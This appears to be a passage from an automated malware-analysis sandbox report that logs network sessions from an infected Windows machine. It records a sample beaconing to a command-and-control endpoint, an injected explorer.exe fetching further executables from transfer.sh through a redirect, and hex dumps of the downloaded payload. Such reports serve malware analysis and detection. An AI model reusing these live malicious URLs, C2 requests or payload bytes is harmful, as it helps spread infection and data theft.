                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC810INData Raw: 31 31 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20
                                                                                                                                                                                                                                                              Data Ascii: 1123<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC1369INData Raw: 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79
                                                                                                                                                                                                                                                              Data Ascii: /styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementBy
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC1369INData Raw: 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 32 42 7a 6c 64 68 48 46 77 70 41 30 39 38 4f 45 75 4a 4b 69 42 63 79 63 67 70 37 37 33 78 6c 73 53 4e 6d 31 34 4c 67 6b 48 63 41 2d 31 37 30 37 34 31 39 38 38 35 2d 30 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 64 64 6f 73 2f 67 6c 6f 73 73 61 72 79 2f 6d 61 6c 77 61 72 65 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65
                                                                                                                                                                                                                                                              Data Ascii: xt/plain"> <input type="hidden" name="atok" value="2BzldhHFwpA098OEuJKiBcycgp773xlsSNm14LgkHcA-1707419885-0-/api"> <a href="https://www.cloudflare.com/learning/ddos/glossary/malware/" class="cf-btn" style
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC847INData Raw: 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c
                                                                                                                                                                                                                                                              Data Ascii: hidden">&bull;</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a><
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              13192.168.2.549796104.21.83.2204434140C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC358OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Cookie: __cf_mw_byp=2BzldhHFwpA098OEuJKiBcycgp773xlsSNm14LgkHcA-1707419885-0-/api
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 61
                                                                                                                                                                                                                                                              Host: liabilityarrangemenyit.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:06 UTC61OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 47 68 4a 4c 6b 4f 2d 2d 73 65 65 76 70 61 6c 70 61 64 69 6e 26 6a 3d 64 65 66 61 75 6c 74
                                                                                                                                                                                                                                                              Data Ascii: act=recive_message&ver=4.0&lid=GhJLkO--seevpalpadin&j=default
                                                                                                                                                                                                                                                              2024-02-08 19:18:07 UTC820INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:06 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=fk9hpfoakpukpldqpgq0id38r9; expires=Mon, 03-Jun-2024 13:04:45 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B81At1o5Pzm5w5YwWpN5rm%2FekrdhkFsgXnFkpCKoL48U32c%2Fvf2pJDkIfBsHi6oArBNVH%2F50lDMuvVQYUlAwGSM6qgA%2FRlxHGaSghTrjElJAKdPx7yR%2FjmIGozWoBJTz0bZoYz6eqt7ckn4A6S0%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263772ff7d44e5-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:07 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:07 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              14192.168.2.549799144.76.136.1534431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:07 UTC179OUTGET /get/iG8BdvMYF0/Nhnsunywskn.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: transfer.sh
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC608INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Cache-Control: no-store
                                                                                                                                                                                                                                                              Content-Disposition: attachment; filename="Nhnsunywskn.exe"
                                                                                                                                                                                                                                                              Content-Length: 975112
                                                                                                                                                                                                                                                              Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                              Retry-After: Thu, 08 Feb 2024 20:18:13 GMT
                                                                                                                                                                                                                                                              Server: Transfer.sh HTTP Server
                                                                                                                                                                                                                                                              Vary: Range, Referer, X-Decrypt-Password
                                                                                                                                                                                                                                                              X-Made-With: <3 by DutchCoders
                                                                                                                                                                                                                                                              X-Ratelimit-Key: 81.181.57.74
                                                                                                                                                                                                                                                              X-Ratelimit-Limit: 10
                                                                                                                                                                                                                                                              X-Ratelimit-Rate: 600
                                                                                                                                                                                                                                                              X-Ratelimit-Remaining: 9
                                                                                                                                                                                                                                                              X-Ratelimit-Reset: 1707419893
                                                                                                                                                                                                                                                              X-Remaining-Days: n/a
                                                                                                                                                                                                                                                              X-Remaining-Downloads: n/a
                                                                                                                                                                                                                                                              X-Served-By: Proudly served by DutchCoders
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:08 GMT
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC578INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ce fc c4 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 b0 0e 00 00 08 00 00 00 00 00 00 a6 cf 0e 00 00 20 00 00 00 e0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0f 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELe @ `
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC2372INData Raw: 00 00 00 00 00 00 22 1f 14 28 02 00 00 06 2a 00 00 00 13 30 07 00 a1 00 00 00 01 00 00 11 14 0a 02 16 3e 28 00 00 00 28 01 00 00 0a 02 18 5d 3a 16 00 00 00 28 08 00 00 06 0a 28 01 00 00 0a 06 28 02 00 00 0a 38 05 00 00 00 28 01 00 00 0a 28 03 00 00 0a 06 6f 04 00 00 0a 6f 05 00 00 0a 16 a3 06 00 00 01 0b 16 0c 17 0d 38 08 00 00 00 08 09 58 0c 09 17 58 0d 09 02 31 f4 28 01 00 00 0a 17 13 04 17 13 05 38 0d 00 00 00 11 04 11 05 5a 13 04 11 05 17 58 13 05 11 05 02 31 ee d0 07 00 00 01 28 06 00 00 0a 07 72 01 00 00 70 28 07 00 00 0a 16 8d 09 00 00 01 6f 08 00 00 0a 26 2a 00 00 00 01 04 00 00 1e 02 28 09 00 00 0a 2a 1e 02 28 09 00 00 0a 2a ba 7e 01 00 00 04 3a 1e 00 00 00 72 19 00 00 70 d0 03 00 00 02 28 06 00 00 0a 6f 0a 00 00 0a 73 0b 00 00 0a 80 01 00 00 04
                                                                                                                                                                                                                                                              Data Ascii: "(*0>((]:(((8((oo8XX1(8ZX1(rp(o&*(*(*~:rp(os
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC538INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 20 00 25 ff 00 00 00 00 00 6c 6c 64 2e 65 65 72 6f 63 73 6d 00 6e 69 61 4d 6c 6c 44 72 6f 43 5f 00 00 00 00 00 00 00 0e b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 0e b8 0e 00 00 00 00 00 00 00 00 00 0e b7 f8 00 00 00 00 00 00 00 00 00 00 00 00 e0
                                                                                                                                                                                                                                                              Data Ascii: @ %lld.eerocsmniaMllDroC_
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC4096INData Raw: ff fa 39 42 8d 2a 4c 8a 67 6f 02 d9 fc ef a3 f8 a9 e3 e9 05 45 5a 14 ed f4 d5 0d 87 c3 37 07 d6 21 e1 cd e6 e7 d3 fb c8 d8 a1 e6 81 02 44 14 53 d6 2f 10 5d e9 b6 c7 aa 26 5e 5a 51 c0 40 b3 40 f6 1e 25 62 49 b4 08 21 a6 79 43 8e fd 98 71 93 6b 90 11 22 89 5c d7 be ff ff 5b b1 8b 44 f7 af 69 80 98 d8 fd 46 95 01 a8 30 46 13 47 87 c6 2a f5 7c 0f af c1 bd ce ee 24 20 70 db e8 c7 b7 56 d7 6a a4 78 57 b3 d4 68 81 ac 43 7c 7e 13 29 4e 64 1b 8f 8d 32 49 b3 0b 11 a0 a9 3a 67 d7 8f 8b a8 d7 9b 63 e0 ff 00 00 00 00 00 00 00 00 b8 48 e0 ff 00 00 00 00 00 00 00 00 b8 48 0c 74 08 40 39 49 00 00 00 00 00 00 00 00 b8 48 c4 f3 4b 57 12 7a 11 73 7c 45 69 d4 7f 77 00 fe 81 9a 5f 2e b8 77 f1 fd bd 51 6c ee 9b 9a 8d 4e 7d 41 c9 f4 c1 aa 8f 9a 67 75 e8 32 a4 bf 81 10 bf 65 df
                                                                                                                                                                                                                                                              Data Ascii: 9B*LgoEZ7!DS/]&^ZQ@@%bI!yCqk"\[DiF0FG*|$ pVjxWhC|~)Nd2I:gcHHt@9IHKWzs|Eiw_.wQlN}Agu2e
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC4682INData Raw: 53 f3 0a cb 8e 02 7f 78 0c 2a 9d 83 f5 39 de 08 44 39 a6 72 cb 9e fc e8 f2 de 93 28 f3 dd f2 06 eb ef 8a 6e 30 fb 00 e8 b2 c8 1d d6 9c 28 5c 25 ef 90 26 b6 91 3d 7a ec f0 58 0f d8 56 fc 74 63 86 d1 06 36 8d f4 7a ae 70 df 97 d1 96 56 d9 a3 03 14 a3 a4 ca ea fc 6e d0 2a 91 54 d7 07 f1 ab 33 62 88 4e 1a b4 fe de 9f de 19 a4 be ae 56 23 2d 8a 20 2a 91 24 78 ac 96 65 0e 74 fb 28 6c 27 f7 a1 04 ac 33 7b 7f 34 bb e6 9a 35 a1 41 d7 33 0a 89 a0 d3 d2 05 f3 1d ed 85 8c 44 ec 8a f0 a5 25 49 89 24 00 00 0f d8 7f 5f 7a d4 ad 81 3a 80 2d 43 b4 0a a3 f9 87 c1 3e 61 59 45 4e 8c a5 d0 35 02 5a 5a d1 39 ed c6 b3 00 ae 6c 7e a3 0e bd df 45 cc db 8a 47 56 e5 5a 6f b6 68 fa a9 bf 0c e7 ca d0 90 46 38 c3 b9 b4 cb 1b bf 4a 36 7f ce d0 1a a5 8e 9c 13 4e ce 83 4c b5 1b 89 55 af
                                                                                                                                                                                                                                                              Data Ascii: Sx*9D9r(n0(\%&=zXVtc6zpVn*T3bNV#- *$xet(l'3{45A3D%I$_z:-C>aYEN5ZZ9l~EGVZohF8J6NLU
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC7116INData Raw: 66 1b de a7 34 21 28 a5 e3 38 aa 03 27 78 89 8e ff c2 d4 0f 9a b8 eb 90 fb cb b9 4c 5a 50 9b 7e a0 b7 e5 2c 6b 5e 47 56 c1 ee 06 07 09 18 2e 78 34 6f 6c e8 9f 10 61 d2 9d 9a d4 0f e2 02 3d c5 e5 df c9 f2 28 f3 85 fa 41 5a 4c d6 3f 8b 7d 0a c5 ad 2b 82 62 20 d0 b7 0d 10 97 50 25 7c 78 10 f2 b0 12 6e 23 25 46 a7 18 c0 4c 08 3e ad db 03 d5 da 85 44 df 62 d7 8e 2b 58 f1 52 96 31 35 b8 99 e1 31 71 ec bb f7 55 9e 2c 59 f4 c4 1f 23 51 41 96 44 48 03 30 0b 68 5b fd 9b 18 31 fc 92 38 f9 43 7e 8c ba f2 c0 24 f4 d7 7c ba 54 fe 8b 9b fc 72 c4 4f 77 fe 71 a6 b7 f0 88 12 58 fe f5 fc 46 31 4c 7b 88 10 81 14 78 40 f7 90 68 b1 76 15 3b 67 16 3e d4 1d cd 32 8b b2 2a 73 a0 7f 72 67 d7 60 31 48 f6 35 58 83 c6 e0 9a 37 12 61 17 98 f0 55 ba 07 24 78 76 a8 f4 08 17 23 c4 82 66
                                                                                                                                                                                                                                                              Data Ascii: f4!(8'xLZP~,k^GV.x4ola=(AZL?}+b P%|xn#%FL>Db+XR151qU,Y#QADH0h[18C~$|TrOwqXF1L{x@hv;g>2*srg`1H5X7aU$xv#f
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC8302INData Raw: 25 e5 69 2d 3e 12 91 30 8f 91 79 e5 87 96 b2 86 9a 60 69 00 80 1a be 1c d1 29 e1 cc 30 a3 d3 df 47 95 17 29 f0 a3 b3 21 38 41 f9 7a ad 52 28 fd ca bc d6 de ec ab 32 42 ac fa 45 ee 60 89 79 59 4a ae 05 6f 82 48 96 03 ed 58 31 54 7b c8 de b9 82 43 f7 97 66 fa 96 b9 4f 77 49 e7 10 70 83 c7 c9 4d ad b8 e3 8e 74 20 21 61 89 c6 f8 83 67 a5 22 1e b0 40 77 62 21 98 fc 47 4b 82 70 3f 29 99 91 8d f5 d9 f7 60 9d f8 fc bc b4 8b 40 9c b8 2d aa 82 7b 59 e7 ec 79 11 fc fe d2 96 13 52 b6 79 e6 e4 b8 c2 fc 11 b2 87 99 b5 be 70 7e ec 34 ae b0 b3 6e 41 7d 36 bf 7f 41 ae 80 5a 8d a9 ba e6 54 7b 96 9b b9 89 7b c3 da d1 2c 77 2b d3 1b 40 f3 27 4c 77 2a 4c 55 99 40 d9 e0 3a 11 58 92 36 70 e4 cd 44 c0 ae 7b 95 c9 a2 51 9c 75 13 4a f8 49 fe b3 7e be d1 8e 62 9d a4 ee 23 29 5f 1a
                                                                                                                                                                                                                                                              Data Ascii: %i->0y`i)0G)!8AzR(2BE`yYJoHX1T{CfOwIpMt !ag"@wb!GKp?)`@-{YyRyp~4nA}6AZT{{,w+@'Lw*LU@:X6pD{QuJI~b#)_
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC6532INData Raw: f6 f5 2d 13 b6 ed 25 a1 1b 8d 44 a6 88 eb 5d ca 66 ae 40 cc 44 79 6f 74 fb 1e 8f b6 db a0 36 81 48 d4 a4 c1 4f 39 29 f3 ff d5 ed 70 bf 82 d5 d0 40 fd c2 bf a9 2d bd fa e8 6e 39 60 2d 4b 45 c1 a3 e6 81 ed 78 3f 7e af 09 39 aa 20 55 c2 62 85 f2 36 5d 8d cf d4 77 94 3e 00 0b 0a 1f 01 a5 d0 c6 8a 71 fc 03 be e9 60 01 52 df a0 41 1f 48 56 f3 3f 3f ad 0b 6e 96 3c 5b 65 1a 23 b7 c4 86 ed 68 01 f5 ea 0c 8b 39 91 3e 58 90 16 c1 ac 35 1f 44 26 42 21 de b1 2d ac aa cd a2 2c cc 30 07 4c d5 24 1c 24 75 f8 37 2e d6 21 d4 b4 8c 1c 16 42 60 a8 53 20 80 28 92 39 bd e2 74 bd fd 58 87 c9 58 ec ab 87 b8 ea b2 c8 29 6a fa af 63 af e1 8a 59 86 5c 20 8b 01 9b 9f 6e 29 8c fe 48 fa fe cd 38 03 45 60 d4 38 1e 81 7a 61 de a0 1f f6 e5 20 3f 30 1f 8e cf 04 3e 51 c5 0e fb 49 10 5e 6e
                                                                                                                                                                                                                                                              Data Ascii: -%D]f@Dyot6HO9)p@-n9`-KEx?~9 Ub6]w>q`RAHV??n<[e#h9>X5D&B!-,0L$$u7.!B`S (9tXX)jcY\ n)H8E`8za ?0>QI^n
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC10674INData Raw: 0b 49 25 e9 7b 9f 2e 2a 1a 11 e2 33 75 0e 74 58 76 a0 fc 81 fe df 7f 9f b4 1d b5 e8 00 27 68 ca 85 21 0d 68 b8 b9 71 94 e5 c7 11 aa 51 24 9d 00 bf be 74 bf f4 08 f3 27 3a ac 7a 60 02 9e ff e6 60 18 2d ef d2 d2 00 1d 1e 2f 10 81 2b cd 64 1d f4 ae a9 b1 de af 95 50 b5 b0 38 c8 3f d3 8f f3 c1 c9 8f 50 b5 01 4c 08 1c 64 be 18 09 fe 83 99 8d c7 b2 bc 60 de d4 51 95 f6 ce 76 86 29 a2 e2 1f dd 25 89 b2 84 33 b7 09 bf c2 69 24 31 3e 70 d0 3e 4f 43 5c 9c 07 31 b5 af 9c f2 f5 77 f5 8f 75 c3 0a e9 e7 80 2a cc fc c3 44 ec f7 92 d5 32 d1 57 f4 d1 b9 e6 15 1d f5 50 6c ca 3e 81 ae 9c bb ce 38 04 14 40 00 24 82 ea 59 d7 b9 b7 b5 c5 84 b1 c1 c9 ec d6 0b fc 3b 19 3e 04 48 74 80 57 2d ee 6b 8a 06 23 f7 60 d1 ce a7 e1 9b db e2 a2 1f 41 7b b4 f8 2b ae 73 5a 5c ce 91 30 dc 5c
                                                                                                                                                                                                                                                              Data Ascii: I%{.*3utXv'h!hqQ$t':z``-/+dP8?PLd`Qv)%3i$1>p>OC\1wu*D2WPl>8@$Y;>HtW-k#`A{+sZ\0\
                                                                                                                                                                                                                                                              2024-02-08 19:18:08 UTC11046INData Raw: 4a 2d 6d bb 2f fb eb f8 cb cf 9f 35 63 09 19 02 27 f9 cd c2 de 4a 0f 62 55 57 13 da e7 62 70 1d f6 46 cf 1b bb e1 20 69 9e 22 a7 34 4f 06 45 ed 18 ba ca 1f cc d3 04 55 09 4c cb 11 2e 8d b9 14 9f 2a b7 d5 28 42 1e d8 1b 82 1f 34 f1 1d 03 5e aa c2 93 4d 1e f7 bb 20 da 31 87 d3 f5 58 02 e0 f8 0a a8 55 c3 5e a8 b7 95 f0 84 eb bd 53 21 a6 e3 b8 4c fe 3f 4b b0 b0 f8 fe d4 55 9b fd aa 88 d3 64 15 0b 2d e2 a7 fe 80 bc 30 00 34 e7 42 28 48 b4 9a 0c ea 1e 01 a2 08 ab 44 eb 9c a6 0a 35 db c8 c8 e7 00 23 99 f6 8e 50 0e 85 02 a4 a0 af 63 e0 ba b3 3b 27 3c ef e5 39 71 94 59 49 60 ae bd a7 b1 c7 98 d4 9c 3b 27 7b 04 ed 3e b9 22 70 eb cd 16 29 4f fa 47 81 94 62 ab 3b 27 d9 ff 59 9e a8 fe a0 fe 70 4f 20 69 58 47 01 cd 36 67 fb 79 ee 0d cc 0f bb 7c d6 bf 78 1a 06 9b 29 54
                                                                                                                                                                                                                                                              Data Ascii: J-m/5c'JbUWbpF i"4OEUL.*(B4^M 1XU^S!L?KUd-04B(HD5#Pc;'<9qYI`;'{>"p)OGb;'YpO iXG6gy|x)T


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              15192.168.2.549804172.67.169.894431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:11 UTC150OUTGET /29asE5 HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: yip.su
                                                                                                                                                                                                                                                              2024-02-08 19:18:11 UTC1212INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:11 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              location: https://transfer.sh/get/sUsSLI6uB1/6edofzV2z3.exe
                                                                                                                                                                                                                                                              set-cookie: 526489231370831178=3; expires=Sat, 08 Feb 2025 19:18:11 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict
                                                                                                                                                                                                                                                              set-cookie: clhf03028ja=81.181.57.74; expires=Sat, 08 Feb 2025 19:18:11 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict
                                                                                                                                                                                                                                                              memory: 0.42188262939453125
                                                                                                                                                                                                                                                              expires: Thu, 08 Feb 2024 19:18:11 +0000
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              strict-transport-security: max-age=604800
                                                                                                                                                                                                                                                              strict-transport-security: max-age=31536000
                                                                                                                                                                                                                                                              content-security-policy: img-src https: data:; upgrade-insecure-requests
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LmYqyyiDkBGM8XVHSX25qqjlFJ02YFhDyUOK152AB45%2BtvhAsU1VGACKZjtwED9VuWJijVKt9OVUooFivgNWZZGEPf3oB33jPrpG4rdJg4gG%2F%2BXMVcZj0Z4%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852637905b1053ff-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:11 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              16192.168.2.549807144.76.136.1534431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC178OUTGET /get/sUsSLI6uB1/6edofzV2z3.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: transfer.sh
